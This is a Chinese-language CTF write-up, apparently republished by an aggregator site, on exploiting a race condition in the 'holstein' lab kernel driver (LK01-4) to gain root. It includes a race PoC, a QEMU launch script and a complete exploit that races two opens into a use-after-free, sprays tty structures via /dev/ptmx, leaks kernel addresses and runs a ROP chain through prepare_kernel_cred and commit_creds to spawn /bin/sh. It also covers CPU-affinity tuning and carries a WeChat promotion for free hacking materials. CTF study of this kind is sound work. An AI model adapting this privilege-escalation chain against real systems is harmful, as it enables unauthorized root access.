通过条件竞争实现内核提权

这篇具有很好参考价值的文章主要介绍了通过条件竞争实现内核提权。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。

LK01-4

这里以一道例题作为例子介绍条件竞争在内核中的利用。

open模块

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4

open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");
​
  if (mutex) {
    printk(KERN_INFO "resource is busy");
    return -EBUSY;
  }
  mutex = 1;
​
  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }
​
  return 0;
}

例如以下代码,连续执行两遍open模块时,第二次执行会返回-1

#include <stdio.h>
#include <fcntl.h>
int main()
{
    int fd1 = open("/dev/holstein",O_RDWR);
    printf("fd1:%d\n",fd1);
    
    int fd2 = open("/dev/holstein",O_RDWR);
    printf("fd2:%d\n",fd2);
    
}

单线程下执行的流程如下。

但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。

POC

为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。

  • 首先是POC使用了34作为新打开的文件描述符,这是因为012是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。

  • 其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。

  • 然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。

  • 最后就是验证34是否指向同一块内存了。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {
    while(1)
    {
        while (!success)
        {
            int fd = open("/dev/holstein",O_RDWR);
            if (fd == 4)
                success = 1;
            if (fd != -1 && success == 0)
                close(fd);
        }
        if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
        {
            close(3);
            close(4);
            success = 0;
        } 
        else
            break;
    }
    
}
​
int main()
{
    pthread_t thread_id1, thread_id2;
    if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\n");
        return 1;
    }
    if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\n");
        return 1;
    }
    pthread_join(thread_id1, NULL);
    pthread_join(thread_id2, NULL); 
    char temp[0x20]= {};
    write(3, "abcdefg", 7);
    read(4, temp, 7);
    if (strcmp(temp, "abcdefg"))
    {
        puts("fail\n");
        exit(-1);
    }
    printf("sucess\n");
}

run.sh

这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 2 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz \
    -net nic,model=virtio \
    -net user \
    -s

exp

因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
​
//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
//0xffffffff81c6bfe0: pop rcx; ret; 
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;
​
#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0
​
unsigned long user_cs, user_sp, user_ss, user_rflags;
​
​
​
void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}
​
void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \n", user_cs);
    printf("[#] ss: 0x%lx \n", user_ss);
    printf("[#] rsp: 0x%lx \n", user_sp);
    printf("[#] rflags: 0x%lx \n", user_rflags);
    printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
​
int success = 0;
void *thread_function(void *arg) {
    while(1)
    {
        while (!success)
        {
            int fd = open("/dev/holstein",O_RDWR);
            if (fd == 4)
                success = 1;
            if (fd != -1 && success == 0)
                close(fd);
        }
        if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
        {
            close(3);
            close(4);
            success = 0;
        } 
        else
            break;
    }
    
}
int main()
{
    pthread_t thread_id1, thread_id2;
    int spray[200];
    save_user_land();
    if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\n");
        return 1;
    }
    if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\n");
        return 1;
    }
    pthread_join(thread_id1, NULL);
    pthread_join(thread_id2, NULL); 
    char temp[0x20]= {};
    write(3, "abcdefg", 7);
    read(4, temp, 7);
    printf("temp:%s\n", temp);
    if (strcmp(temp, "abcdefg"))
    {
        puts("failure\n");
        exit(-1);
    }
    if (!strcmp(temp,"abcdefg"))
    {
        printf("sucess\n");
        close(4);
        for (int i = 0; i < 50; i++)
        {
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
            if (spray[i] == -1)
            {
                printf("error!\n");
                exit(-1);
            }
        }
        char buf[0x400];
        read(3, buf, 0x400);
        unsigned long *p = (unsigned long *)&buf;
        for (unsigned int i = 0; i < 0x80; i++)
            printf("[%x]:addr:0x%lx\n",i,p[i]);
        unsigned long kernel_address = p[3];
        unsigned long heap_address = p[7];
        if ((kernel_address >> 32) != 0xffffffff)
        {
            printf("leak error!\n");
            exit(-1);   
        }
        else
            printf("leak    sucess\n");
        unsigned long kernel_base = kernel_address - 0xc3afe0;
        unsigned long g_buf = heap_address - 0x38;
        printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);
        //getchar();    
        *(unsigned long *)&buf[0x18] = g_buf;
        p[0xc] = push_rdx_pop_rsp + kernel_base;
        //for (unsigned long i = 0xd; i < 0x80; i++)
        //  p[i] = g_buf + i;
        int index = 0x21;
        p[index++] = pop_rdi_ret + kernel_base;
        p[index++] = 0;
        p[index++] = prepare_kernel_cred + kernel_base;
        p[index++] = pop_rcx_5 + kernel_base;
        p[index++] = 0;
        p[index++] = 0;
        p[index++] = 0;
        p[index++] = 0;
        p[index++] = 0;
        p[index++] = mov_rdi_rax + kernel_base;
        p[index++] = commit_creds + kernel_base;
        p[index++] = swapgs_restore + kernel_base + 22;
        p[index++] = 0;
        p[index++] = 0;
        p[index++] = (unsigned long)backdoor;
            p[index++] = user_cs;
            p[index++] = user_rflags;
            p[index++] = user_sp;
            p[index++] = user_ss;       
        write(3, buf, 0x400);   
        ioctl(4, 0, g_buf + 0x100);         
    }
    return 0;   
}

CPU Affinity(CPU 亲和性)

这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。

首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。

#define _GNU_SOURCE
#include <sched.h>
​
...
    cpu_set_t t1_cpu, t2_cpu;
    CPU_ZERO(&t1_cpu);
    CPU_ZERO(&t2_cpu);
    CPU_SET(0, &t1_cpu);
    CPU_SET(1, &t2_cpu);
...
    if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)
    {
        fprintf(stderr, "thread error\n");
        return 1;
    }
    if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)
    {
        fprintf(stderr, "thread error\n");
        return 1;
    }    
​
void *thread_function(void *arg) {
    cpu_set_t *cpu_set = (cpu_set_t  *)arg;
    int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
    ...
}    

更多网安技能的在线实操练习,请点击这里>>

  文章来源地址https://www.toymoban.com/news/detail-711179.html

到了这里,关于通过条件竞争实现内核提权的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 文件上传漏洞之条件竞争

    这里拿upload-labs的第18关做演示 首先先看代码 这段代码逻辑是文件上传后先保存文件,然后判断是否符合规则,符合的话改文件名,不符合的话删除文件。 在多线程环境中,可能会存在文件还未来得及删除,我们便访问到该文件,可以以此为切入点执行php语句。 第一步: 首

    2024年02月11日
    浏览(36)
  • 条件竞争漏洞Double Fetch

    Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用

    2024年02月13日
    浏览(37)
  • Windows系统内核溢出漏洞提权

    目录  Windows内核溢出漏洞原理 溢出漏洞简介 什么是缓冲区 缓冲区溢出 缓冲区溢出目的 Windows内核溢出漏洞利用流程 提权实战思路 手工提权测试 辅助提权 EXP如何寻找 使用MSF提权 关于提权时可能遇到的问题 如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读

    2024年02月07日
    浏览(39)
  • PHP文件上传之条件竞争(其一)

    目录 一、什么是条件竞争 二、场景代码分析 本文用于实验的PHP代码如下:  知识点补充: 代码分析: 三、条件竞争步骤 1、竞争payload: 2、竞争方法: 1、burpsuite: 2、python脚本:   在某些文件上传情境中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件

    2024年02月05日
    浏览(58)
  • 内网安全—Windows系统内核溢出漏洞提权

    系统内核溢出漏洞提权         往缓冲区中写入超出限定长度的内容,造成缓冲区溢出,从而破坏程序的堆栈进而运行自己精心准备的指定代码,达到攻击的目的。 分类:         堆溢出         栈溢出 查找补丁的方法          1、手工查找补丁情况      

    2024年02月03日
    浏览(46)
  • kioptrix: level 1.1 (#2) 简单命令注入+内核提权

    🔥系列专栏:Vulnhub靶机渗透系列 🔥欢迎大佬:👍点赞⭐️收藏➕关注 🔥首发时间: 2023年8月20日 🌴如有错误 还望告知 万分感谢 目录 🌴 基本信息: 🌴 信息收集 主机发现、端口扫描、服务枚举、脚本漏扫(nmap) PORT 111 rpcbind PORT 631 ipp 目录扫描(dirsearch、gobuster) P

    2024年02月12日
    浏览(46)
  • KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

    🔥系列专栏:Vulnhub靶机渗透系列 🔥欢迎大佬:👍点赞⭐️收藏➕关注 🔥首发时间: 2023年8月20日 🌴如有错误 还望告知 万分感谢 目录 🌴 基本信息: 🌴 信息收集 主机发现、端口扫描、服务枚举、脚本漏扫(nmap) PORT 111 rpcbind PORT 631 ipp 目录扫描(dirsearch、gobuster) P

    2024年02月12日
    浏览(37)
  • Linux内核中并发与竞争的处理方法之原子操作

    上一篇文章简单学习了Linux内核提供的原子操作。文章地址如下: Linux内核中并发与竞争的处理方法之原子操作简介-CSDN博客 本文继续学习Linux内核处理并发与竞争的处理方法之一:原子操作。 Linux 内核提供了两组原子操作 API 函数,一组是对整形变量进行操作的,一组是对位

    2024年02月22日
    浏览(36)
  • 操作系统权限提升(三)之Windows系统内核溢出漏洞提权

    系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!! 溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出,提权

    2024年02月14日
    浏览(37)
  • 不死马的利用与克制(基于条件竞争)及变种不死马

    不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件 这里以PHP不死马为例 测试代码: 上面代码即为最简单的不死马,其目的是创建一个名为\\\".test.php\\\"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。 关于代码的详细解释: 1、i

    2024年02月07日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包